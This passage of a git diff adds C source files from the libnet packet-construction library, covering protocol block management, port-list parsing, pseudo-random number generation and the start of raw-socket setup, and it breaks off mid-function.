+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_pblock_t *
+libnet_pblock_probe(libnet_t *l, libnet_ptag_t ptag, u_int32_t n, u_int8_t type)
+{
+ int offset;
+ libnet_pblock_t *p;
+
+ if (ptag == LIBNET_PTAG_INITIALIZER)
+ {
+ /*
+ * Create a new pblock and enough buffer space for the packet.
+ */
+ p = libnet_pblock_new(l, n);
+ if (p == NULL)
+ {
+ /* err msg set in libnet_pblock_new() */
+ return (NULL);
+ }
+ }
+ else
+ {
+ /*
+ * Update this pblock, don't create a new one. Note that if the
+ * new packet size is larger than the old one we will do a malloc.
+ */
+ p = libnet_pblock_find(l, ptag);
+
+ if (p == NULL)
+ {
+ /* err msg set in libnet_pblock_find() */
+ return (NULL);
+ }
+ if (p->type != type)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): ptag refers to different type than expected (%d != %d)",
+ __func__, p->type, type);
+ return (NULL);
+ }
+ /*
+ * If size is greater than the original block of memory, we need
+ * to malloc more memory. Should we use realloc?
+ */
+ if (n > p->b_len)
+ {
+ offset = n - p->b_len; /* how many bytes larger new pblock is */
+ free(p->buf);
+ p->buf = malloc(n);
+ if (p->buf == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't resize pblock buffer: %s\n", __func__,
+ strerror(errno));
+ return (NULL);
+ }
+ memset(p->buf, 0, n);
+ p->h_len += offset; /* new length for checksums */
+ p->b_len = n; /* new buf len */
+ l->total_size += offset;
+ }
+ else
+ {
+ offset = p->b_len - n;
+ p->h_len -= offset; /* new length for checksums */
+ p->b_len = n; /* new buf len */
+ l->total_size -= offset;
+ }
+ p->copied = 0; /* reset copied counter */
+ }
+ return (p);
+}
+
+libnet_pblock_t *
+libnet_pblock_new(libnet_t *l, u_int32_t size)
+{
+ libnet_pblock_t *p;
+ /*
+ * Should we do error checking the size of the pblock here, or
+ * should we rely on the underlying operating system to complain when
+ * the user tries to write some ridiculously huge packet?
+ */
+
+ /* make the head node if it doesn't exist */
+ if (l->protocol_blocks == NULL)
+ {
+ p = l->protocol_blocks = malloc(sizeof (libnet_pblock_t));
+ if (p == NULL)
+ {
+ goto bad;
+ }
+ memset(p, 0, sizeof (libnet_pblock_t));
+ }
+ else
+ {
+ p = l->pblock_end;
+ p->next = malloc(sizeof (libnet_pblock_t));
+
+ if (p->next == NULL)
+ {
+ goto bad;
+ }
+ memset(p->next, 0, sizeof (libnet_pblock_t));
+ p->next->prev = p;
+ p = p->next;
+ }
+
+ p->buf = malloc(size);
+ if (p->buf == NULL)
+ {
+ free(p);
+ p = NULL;
+ goto bad;
+ }
+ memset(p->buf, 0, size);
+ p->b_len = size;
+ l->total_size += size;
+ l->n_pblocks++;
+ return (p);
+
+ bad:
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n", __func__,
+ strerror(errno));
+ return (NULL);
+}
+
+int
+libnet_pblock_swap(libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2)
+{
+ libnet_pblock_t *p1, *p2;
+
+ p1 = libnet_pblock_find(l, ptag1);
+ p2 = libnet_pblock_find(l, ptag2);
+ if (p1 == NULL || p2 == NULL)
+ {
+ /* error set elsewhere */
+ return (-1);
+ }
+
+ p2->prev = p1->prev;
+ p1->next = p2->next;
+ p2->next = p1;
+ p1->prev = p2;
+
+ if (p1->next)
+ {
+ p1->next->prev = p1;
+ }
+
+ if (p2->prev)
+ {
+ p2->prev->next = p2;
+ }
+ else
+ {
+ /* first node on the list */
+ l->protocol_blocks = p2;
+ }
+
+ if (l->pblock_end == p2)
+ {
+ l->pblock_end = p1;
+ }
+ return (1);
+}
+
+int
+libnet_pblock_insert_before(libnet_t *l, libnet_ptag_t ptag1,
+ libnet_ptag_t ptag2)
+{
+ libnet_pblock_t *p1, *p2;
+
+ p1 = libnet_pblock_find(l, ptag1);
+ p2 = libnet_pblock_find(l, ptag2);
+ if (p1 == NULL || p2 == NULL)
+ {
+ /* error set elsewhere */
+ return (-1);
+ }
+
+ p2->prev = p1->prev;
+ p2->next = p1;
+ p1->prev = p2;
+
+ if (p2->prev)
+ {
+ p2->prev->next = p2;
+ }
+ else
+ {
+ /* first node on the list */
+ l->protocol_blocks = p2;
+ }
+
+ return (1);
+}
+
+libnet_pblock_t *
+libnet_pblock_find(libnet_t *l, libnet_ptag_t ptag)
+{
+ libnet_pblock_t *p;
+
+ for (p = l->protocol_blocks; p; p = p->next)
+ {
+ if (p->ptag == ptag)
+ {
+ return (p);
+ }
+ }
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): couldn't find protocol block\n", __func__);
+ return (NULL);
+}
+
+int
+libnet_pblock_append(libnet_t *l, libnet_pblock_t *p, u_int8_t *buf,
+ u_int32_t len)
+{
+ if (p->copied + len > p->b_len)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): memcpy would overflow buffer\n", __func__);
+ return (-1);
+ }
+ memcpy(p->buf + p->copied, buf, len);
+ p->copied += len;
+ return (1);
+}
+
+void
+libnet_pblock_setflags(libnet_pblock_t *p, u_int8_t flags)
+{
+ p->flags = flags;
+}
+
+libnet_ptag_t
+libnet_pblock_update(libnet_t *l, libnet_pblock_t *p, u_int32_t h,
+u_int8_t type)
+{
+ p->type = type;
+ p->ptag = ++(l->ptag_state);
+ p->h_len = h;
+ l->pblock_end = p; /* point end of pblock list here */
+
+ return (p->ptag);
+}
+
+int
+libnet_pblock_coalesce(libnet_t *l, u_int8_t **packet, u_int32_t *size)
+{
+ libnet_pblock_t *p, *q;
+ u_int32_t c, n;
+
+ /*
+ * Determine the offset required to keep memory aligned (strict
+ * architectures like solaris enforce this, but's a good practice
+ * either way). This is only required on the link layer with the
+ * 14 byte ethernet offset (others are similarly unkind).
+ */
+ if (l->injection_type == LIBNET_LINK ||
+ l->injection_type == LIBNET_LINK_ADV)
+ {
+ /* 8 byte alignment should work */
+ l->aligner = 8 - (l->link_offset % 8);
+ }
+ else
+ {
+ l->aligner = 0;
+ }
+
+ *packet = malloc(l->aligner + l->total_size);
+ if (*packet == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n",
+ __func__, strerror(errno));
+ return (-1);
+ }
+
+ memset(*packet, 0, l->aligner + l->total_size);
+
+ if (l->injection_type == LIBNET_RAW4 &&
+ l->pblock_end->type == LIBNET_PBLOCK_IPV4_H)
+ {
+ libnet_pblock_setflags(l->pblock_end, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+
+ /* additional sanity checks to perform if we're not in advanced mode */
+ if (!(l->injection_type & LIBNET_ADV_MASK))
+ {
+ switch (l->injection_type)
+ {
+ case LIBNET_LINK:
+ if ((l->pblock_end->type != LIBNET_PBLOCK_TOKEN_RING_H) &&
+ (l->pblock_end->type != LIBNET_PBLOCK_FDDI_H) &&
+ (l->pblock_end->type != LIBNET_PBLOCK_ETH_H) &&
+ (l->pblock_end->type != LIBNET_PBLOCK_802_1Q_H) &&
+ (l->pblock_end->type != LIBNET_PBLOCK_ISL_H) &&
+ (l->pblock_end->type != LIBNET_PBLOCK_802_3_H))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): packet assembly cannot find a layer 2 header\n",
+ __func__);
+ return (-1);
+ }
+ break;
+ case LIBNET_RAW4:
+ if ((l->pblock_end->type != LIBNET_PBLOCK_IPV4_H))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): packet assembly cannot find an IPv4 header\n",
+ __func__);
+ return (-1);
+ }
+ break;
+ case LIBNET_RAW6:
+ if ((l->pblock_end->type != LIBNET_PBLOCK_IPV6_H))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): packet assembly cannot find an IPv6 header\n",
+ __func__);
+ return (-1);
+ }
+ break;
+ default:
+ /* we should not end up here ever */
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): suddenly the dungeon collapses -- you die\n",
+ __func__);
+ return (-1);
+ break;
+ }
+ }
+
+ q = NULL;
+ for (n = l->aligner + l->total_size, p = l->protocol_blocks; p || q; )
+ {
+ if (q)
+ {
+ p = p->next;
+ }
+ if (p)
+ {
+ n -= p->b_len;
+ /* copy over the packet chunk */
+ memcpy(*packet + n, p->buf, p->b_len);
+ }
+ if (q)
+ {
+ if (p == NULL || ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM))
+ {
+ if ((q->flags) & LIBNET_PBLOCK_DO_CHECKSUM)
+ {
+ int offset = (l->total_size + l->aligner) - q->ip_offset;
+ c = libnet_do_checksum(l, *packet + offset,
+ libnet_pblock_p2p(q->type), q->h_len);
+ if (c == -1)
+ {
+ /* err msg set in libnet_do_checksum() */
+ return (-1);
+ }
+ }
+ q = p;
+ }
+ }
+ else
+ {
+ q = p;
+ }
+ }
+ *size = l->aligner + l->total_size;
+
+ /*
+ * Set the packet pointer to the true beginning of the packet and set
+ * the size for transmission.
+ */
+ if ((l->injection_type == LIBNET_LINK ||
+ l->injection_type == LIBNET_LINK_ADV) && l->aligner)
+ {
+ *packet += l->aligner;
+ *size -= l->aligner;
+ }
+ return (1);
+}
+
+void
+libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p)
+{
+ if (p)
+ {
+ l->total_size -= p->b_len;
+ l->n_pblocks--;
+ if (p->prev)
+ {
+ p->prev->next = p->next;
+ }
+ else
+ {
+ l->protocol_blocks = p->next;
+ }
+
+ if (p->next)
+ {
+ p->next->prev = p->prev;
+ }
+ else
+ {
+ l->pblock_end = p->prev;
+ }
+
+ if (p->buf)
+ {
+ free(p->buf);
+ }
+
+ free(p);
+ p = NULL;
+ }
+}
+
+int
+libnet_pblock_p2p(u_int8_t type)
+{
+ /* for checksum; return the protocol number given a pblock type*/
+ switch (type)
+ {
+ case LIBNET_PBLOCK_CDP_H:
+ return (LIBNET_PROTO_CDP);
+ case LIBNET_PBLOCK_ICMPV4_H:
+ case LIBNET_PBLOCK_ICMPV4_ECHO_H:
+ case LIBNET_PBLOCK_ICMPV4_MASK_H:
+ case LIBNET_PBLOCK_ICMPV4_UNREACH_H:
+ case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H:
+ case LIBNET_PBLOCK_ICMPV4_REDIRECT_H:
+ case LIBNET_PBLOCK_ICMPV4_TS_H:
+ return (IPPROTO_ICMP);
+ case LIBNET_PBLOCK_IGMP_H:
+ return (IPPROTO_IGMP);
+ case LIBNET_PBLOCK_IPV4_H:
+ return (IPPROTO_IP);
+ case LIBNET_ISL_H:
+ return (LIBNET_PROTO_ISL);
+ case LIBNET_PBLOCK_OSPF_H:
+ return (IPPROTO_OSPF);
+ case LIBNET_PBLOCK_LS_RTR_H:
+ return (IPPROTO_OSPF_LSA);
+ case LIBNET_PBLOCK_TCP_H:
+ return (IPPROTO_TCP);
+ case LIBNET_PBLOCK_UDP_H:
+ return (IPPROTO_UDP);
+ case LIBNET_PBLOCK_VRRP_H:
+ return (IPPROTO_VRRP);
+ case LIBNET_PBLOCK_GRE_H:
+ return (IPPROTO_GRE);
+ default:
+ return (-1);
+ }
+}
+
+void
+libnet_pblock_record_ip_offset(libnet_t *l, u_int32_t offset)
+{
+ libnet_pblock_t *p = l->pblock_end;
+
+ do
+ {
+ p->ip_offset = offset;
+ p = p->prev;
+ } while (p && p->type != LIBNET_PBLOCK_IPV4_H);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_port_list.c b/libnet/src/libnet_port_list.c
new file mode 100644
index 0000000..5c3a295
--- /dev/null
+++ b/libnet/src/libnet_port_list.c
@@ -0,0 +1,295 @@
+/*
+ * $Id: libnet_port_list.c,v 1.10 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_port_list.c - transport layer port list chaining code
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+u_int16_t *all_lists;
+
+int
+libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list)
+{
+ int8_t libnet_plist_legal_tokens[] = "0123456789,- ";
+ libnet_plist_t *tmp;
+ int8_t *tok;
+ int i, j, valid_token, cur_node;
+ u_int16_t *all_lists_tmp;
+ static u_int8_t cur_id;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ if (token_list == NULL)
+ {
+ return (-1);
+ }
+
+ /*
+ * Make sure we have legal tokens.
+ */
+ for (i = 0; token_list[i]; i++)
+ {
+ for (j = 0, valid_token = 0; libnet_plist_legal_tokens[j]; j++)
+ {
+ if (libnet_plist_legal_tokens[j] == token_list[i])
+ {
+ valid_token = 1;
+ break;
+ }
+ }
+ if (!valid_token)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_build_plist_chain: illegal token # %d (%c)\n",
+ i + 1,
+ token_list[i]);
+ *plist = NULL;
+ return (-1);
+ }
+ }
+
+ /* head node */
+ *plist = malloc(sizeof (libnet_plist_t));
+
+ if (!(*plist))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_build_plist_chain: malloc %s\n", strerror(errno));
+ *plist = NULL;
+ return (-1);
+ }
+
+ tmp = *plist;
+ tmp->node = cur_node = 0;
+ tmp->next = NULL;
+ tmp->id = cur_id;
+ all_lists_tmp = all_lists;
+ all_lists = realloc(all_lists_tmp, (sizeof(u_int16_t) * (cur_id + 1)));
+ if (!all_lists)
+ {
+ all_lists = all_lists_tmp;
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_build_plist_chain: realloc %s\n", strerror(errno));
+ *plist = NULL;
+ return(-1);
+ }
+
+ all_lists[cur_id++] = 0;
+
+ /*
+ * Using strtok successively proved problematic. We solve this by
+ * calling it once, then manually extracting the elements from the token.
+ * In the case of bport > eport, we swap them.
+ */
+ for (i = 0; (tok = strtok(!i ? token_list : NULL, ",")); i = 1, cur_node++)
+ {
+ /*
+ * The first iteration we will have a head node allocated so we don't
+ * need to malloc().
+ */
+ if (i)
+ {
+ tmp->next = malloc(sizeof (libnet_plist_t));
+ if (!tmp)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_build_plist_chain: malloc %s\n", strerror(errno));
+ /*
+ * XXX - potential memory leak if other nodes are allocated
+ * but not freed.
+ */
+ *plist = NULL;
+ return(-1);
+ }
+ tmp = tmp->next;
+ tmp->node = cur_node;
+ tmp->next = NULL;
+ }
+ tmp->bport = atoi(tok);
+
+ /*
+ * Step past this port number.
+ */
+ j = 0;
+ while (isdigit((int)tok[j]))
+ {
+ j++;
+ }
+
+ /*
+ * If we have a delimiting dash and are NOT at the end of the token
+ * array, we can assume it's the end port, otherwise if we just have
+ * a dash, we consider it int16_thand for `inclusive of all ports up to
+ * 65535. Finally, if we have no dash, we assume this token is a
+ * single port only.
+ */
+ if (tok[j] == '-')
+ {
+ tmp->eport = (++j != strlen(tok)) ? atoi(&tok[j]) : 65535;
+ }
+ else
+ {
+ tmp->eport = tmp->bport;
+ }
+
+ /*
+ * Do we need to swap the values?
+ */
+ if (tmp->bport > tmp->eport)
+ {
+ tmp->bport ^= tmp->eport;
+ tmp->eport ^= tmp->bport;
+ tmp->bport ^= tmp->eport;
+ }
+ }
+
+ /*
+ * The head node needs to hold the total node count.
+ */
+ (*plist)->node = cur_node;
+ return (1);
+}
+
+int
+libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport,
+ u_int16_t *eport)
+{
+ u_int16_t *node_cnt;
+ u_int16_t tmp_cnt;
+
+ node_cnt = &(all_lists[plist->id]);
+ if (plist == NULL)
+ {
+ return (-1);
+ }
+
+ /*
+ * We are at the end of the list.
+ */
+ if (*node_cnt == plist->node)
+ {
+ *node_cnt = 0;
+ *bport = 0;
+ *eport = 0;
+ return (0);
+ }
+
+ for (tmp_cnt = *node_cnt; tmp_cnt; tmp_cnt--, plist = plist->next) ;
+ *bport = plist->bport;
+ *eport = plist->eport;
+ *node_cnt += 1;
+ return (1);
+}
+
+int
+libnet_plist_chain_dump(libnet_plist_t *plist)
+{
+ if (plist == NULL)
+ {
+ return (-1);
+ }
+
+ for (; plist; plist = plist->next)
+ {
+ if (plist->bport == plist->eport)
+ {
+ fprintf(stdout, "%d ", plist->bport);
+ }
+ else
+ {
+ fprintf(stdout, "%d-%d ", plist->bport, plist->eport);
+ }
+ }
+ fprintf(stdout, "\n");
+ return (1);
+}
+
+char *
+libnet_plist_chain_dump_string(libnet_plist_t *plist)
+{
+ char buf[BUFSIZ] = {0};
+ int i, j;
+
+ if (plist == NULL)
+ {
+ return (NULL);
+ }
+
+ for (i = 0, j = 0; plist; plist = plist->next)
+ {
+ if (plist->bport == plist->eport)
+ {
+ i = snprintf(&buf[j], BUFSIZ, "%d", plist->bport);
+ }
+ else
+ {
+ i = snprintf(&buf[j], BUFSIZ, "%d-%d", plist->bport, plist->eport);
+ }
+ j += i;
+ if (plist->next)
+ {
+ snprintf(&buf[j++], BUFSIZ, ",");
+ }
+ }
+ return (strdup(buf)); /* XXX - reentrancy == no */
+}
+
+int
+libnet_plist_chain_free(libnet_plist_t *plist)
+{
+ u_int16_t i;
+ libnet_plist_t *tmp;
+
+ if (plist == NULL)
+ {
+ return (-1);
+ }
+
+ for (i = plist->node; i; i--)
+ {
+ tmp = plist;
+ plist = plist->next;
+ free(tmp);
+ }
+ plist = NULL;
+ return (1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_prand.c b/libnet/src/libnet_prand.c
new file mode 100644
index 0000000..ceeedd9
--- /dev/null
+++ b/libnet/src/libnet_prand.c
@@ -0,0 +1,106 @@
+/*
+ * $Id: libnet_prand.c,v 1.7 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_prand.c - pseudo-random number generation
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+int
+libnet_seed_prand(libnet_t *l)
+{
+ #if !(__WIN32__)
+ struct timeval seed;
+ #endif
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ #if __WIN32__
+ srand((unsigned)time(NULL));
+ #else
+ if (gettimeofday(&seed, NULL) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): cannot gettimeofday\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * More entropy then just seeding with time(2).
+ */
+ srandom((unsigned)(seed.tv_sec ^ seed.tv_usec));
+ #endif
+ return (1);
+}
+
+
+u_int32_t
+libnet_get_prand(int mod)
+{
+ u_int32_t n; /* 0 to 4,294,967,295 */
+#ifndef _WIN32
+ n = random();
+#else
+ HCRYPTPROV hProv = 0;
+ CryptAcquireContext(&hProv,
+ 0, 0, PROV_RSA_FULL,
+ CRYPT_VERIFYCONTEXT);
+
+ CryptGenRandom(hProv,
+ sizeof(n), (BYTE*)&n);
+ CryptReleaseContext(hProv, 0);
+#endif
+ switch (mod)
+ {
+ case LIBNET_PR2:
+ return (n % 0x2); /* 0 - 1 */
+ case LIBNET_PR8:
+ return (n % 0xff); /* 0 - 255 */
+ case LIBNET_PR16:
+ return (n % 0x7fff); /* 0 - 32767 */
+ case LIBNET_PRu16:
+ return (n % 0xffff); /* 0 - 65535 */
+ case LIBNET_PR32:
+ return (n % 0x7fffffff); /* 0 - 2147483647 */
+ case LIBNET_PRu32:
+ return (n); /* 0 - 4294967295 */
+ }
+ return (0); /* NOTTREACHED */
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_raw.c b/libnet/src/libnet_raw.c
new file mode 100644
index 0000000..319ee79
--- /dev/null
+++ b/libnet/src/libnet_raw.c
@@ -0,0 +1,257 @@
+/*
+ * $Id: libnet_raw.c,v 1.9 2004/02/18 18:19:00 mike Exp $
+ *
+ * libnet
+ * libnet_raw.c - raw sockets routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+#if defined (__WIN32__)
+int
+libnet_open_raw4(libnet_t *l)
+{
+ return (libnet_open_link(l));
+}
+
+int
+libnet_open_raw6(libnet_t *l)
+{
+ return (libnet_open_link(l));
+}
+
+int
+libnet_close_raw4(libnet_t *l)
+{
+ return (libnet_close_link_interface(l));
+}
+
+int
+libnet_close_raw6(libnet_t *l)
+{
+ return (libnet_close_link_interface(l));
+}
+#else
+int
+libnet_open_raw4(libnet_t *l)
+{
+ int len;
+
+#if !(__WIN32__)
+ int n = 1;
+#if (__svr4__)
+ void *nptr = &n;
+#else
+ int *nptr = &n;
+#endif /* __svr4__ */
+#else
+ BOOL n;
+#endif
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ l->fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
+ if (l->fd == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): SOCK_RAW allocation failed: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+
+#ifdef IP_HDRINCL
+/*
+ * man raw
+ *
+ * The IPv4 layer generates an IP header when sending a packet unless
+ * the IP_HDRINCL socket option is enabled on the socket. When it
+ * is enabled, the packet must contain an IP header. For
+ * receiving the IP header is always included in the packet.
+ */
+#if !(__WIN32__)
+ if (setsockopt(l->fd, IPPROTO_IP, IP_HDRINCL, nptr, sizeof(n)) == -1)
+#else
+ n = TRUE;
+ if (setsockopt(l->fd, IPPROTO_IP, IP_HDRINCL, (int8_t *)&n,
+ sizeof(n)) == -1)
+#endif
+
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): set IP_HDRINCL failed: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+#endif /* IP_HDRINCL */
+
+#ifdef SO_SNDBUF
+
+/*
+ * man 7 socket
+ *
+ * Sets and gets the maximum socket send buffer in bytes.
+ *
+ * Taken from libdnet by Dug Song
+ */
+ len = sizeof(n);
+ if (getsockopt(l->fd, SOL_SOCKET, SO_SNDBUF, &n, &len) < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): get SO_SNDBUF failed: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+
+ for (n += 128; n < 1048576; n += 128)
+ {
+ if (setsockopt(l->fd, SOL_SOCKET, SO_SNDBUF, &n, len) < 0)
+ {
+ if (errno == ENOBUFS)
+ {
+ break;
+ }
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): set SO_SNDBUF failed: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+ }
+#endif
+
+#ifdef SO_BROADCAST
+/*
+ * man 7 socket
+ *
+ * Set or get the broadcast flag. When enabled, datagram sockets
+ * receive packets sent to a broadcast address and they are allowed
+ * to send packets to a broadcast address. This option has no
+ * effect on stream-oriented sockets.
+ */
+ if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, nptr, sizeof(n)) == -1)
+ {
